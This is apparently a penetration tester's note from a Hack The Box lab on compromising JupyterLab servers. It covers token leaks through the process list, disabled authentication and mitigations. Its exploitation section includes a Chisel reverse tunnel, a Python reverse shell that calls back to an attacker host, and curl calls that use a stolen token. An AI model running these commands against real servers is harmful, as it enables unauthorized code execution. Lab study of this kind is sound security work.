📦 JupyterLab

What is it?

  • Concept: JupyterLab (and its predecessor Jupyter Notebook) is a browser-based IDE for running code interactively. The server process spawns kernels — long-lived interpreter processes — and executes whatever the browser sends them. Arbitrary code execution is not a bug here, it is the product; the only thing standing between an attacker and a shell is the server’s authentication.
  • Impact: Access to a Jupyter server is, by definition, code execution as the user running the server. There is no sandbox, no restricted mode, and no separation between “notebook user” and “shell user” — !bash, os.system(), and subprocess all work from the first cell.

How it works

  1. jupyter-lab starts an HTTP server (default 8888) plus a WebSocket channel per kernel. The browser POSTs code to /api/kernels/<id>/execute over that WebSocket; the kernel runs it and streams back the output.
  2. Authentication is a single bearer token, generated at startup and printed to the console, usable as ?token=<token>, an Authorization: token <token> header, or typed into the login box. Optionally a password hash can be set instead (ServerApp.password), and an empty --ServerApp.password= means the token is the only control.
  3. Once authenticated, the session cookie persists; there is no per-notebook authorization, no roles, and no audit beyond the server log.
  4. Typical deployments bind to 127.0.0.1 and expect a reverse proxy or SSH tunnel in front — which means the token is often treated as a low-stakes secret, since “nobody can reach the port anyway”.

Security Quirks & Niche Facts

  • The token is regularly leaked in the process list. Systemd units and startup scripts pass it as --ServerApp.token=<token>, and /proc/<pid>/cmdline is world-readable, so any local user can read it .
  • Other places the same token shows up: jupyter server list (run as the owning user), ~/.local/share/jupyter/runtime/*.json (the runtime connection files, mode 0600 but readable by root and by the owner), and the service’s own stdout log.
  • --ServerApp.token='' disables authentication entirely — some “internal only” deployments do this deliberately. Reaching such a server from anywhere is instant RCE.
  • Binding to localhost is not a security boundary once you have a foothold: forward the port (Chisel, ssh -L) and the UI is yours.
  • Code execution does not require the UI at all — the REST/WebSocket API (POST /api/sessions, then execute over /api/kernels/<id>/channels) accepts the same token, which matters when only curl is available.
  • A notebook file (.ipynb) is inert on disk, but anything that auto-executes notebooks (nbconvert --execute, papermill, a scheduled pipeline) turns “I can write a notebook into a watched directory” into RCE as whoever runs the pipeline.
  • Kernels outlive the browser session: a kernel started by an admin can still be attached to and reused later.

Exploitation

# 1. Find it — a Python process listening on 8888 (or any port) is the tell
ss -tulnp | grep -i python
ps auxww | grep -i jupyter        # the token is frequently right here
 
# 2. Reach it — localhost-bound servers need a tunnel
#    attacker:                 chisel server -p 8000 --reverse
#    target:                   /tmp/chisel client <LHOST>:8000 R:8888:127.0.0.1:8888
#    then browse http://localhost:8888/ and paste the token
 
# 3. Execute — from a notebook cell, as the user running the server
#    (any of these; see [[Reverse Shell Payloads]])
import socket,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('<LHOST>',3333))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
pty.spawn('/bin/bash')
# API-only variant when there is no browser: list what the token unlocks
curl -s -H 'Authorization: token <token>' 'http://127.0.0.1:8888/api/sessions'
curl -s -H 'Authorization: token <token>' 'http://127.0.0.1:8888/api/terminals' -X POST

Mitigation

  • Fix 1: Pass the token via JUPYTER_TOKEN in an EnvironmentFile= with mode 0600 (or use a password hash), never as a command-line argument — the process table is public.
  • Fix 2: Put the server behind authenticating reverse proxy / SSO and run it as a dedicated unprivileged user with no interesting file access, on the assumption that anyone who reaches it gets code execution as that user.
  • Fix 3: Never run a Jupyter server with token='', and don’t run one as a user who can read secrets unrelated to the notebooks themselves.
FileCreated
HTB Machine - DevhubSunday, September 6th 2026, 1:19:49 pm

References: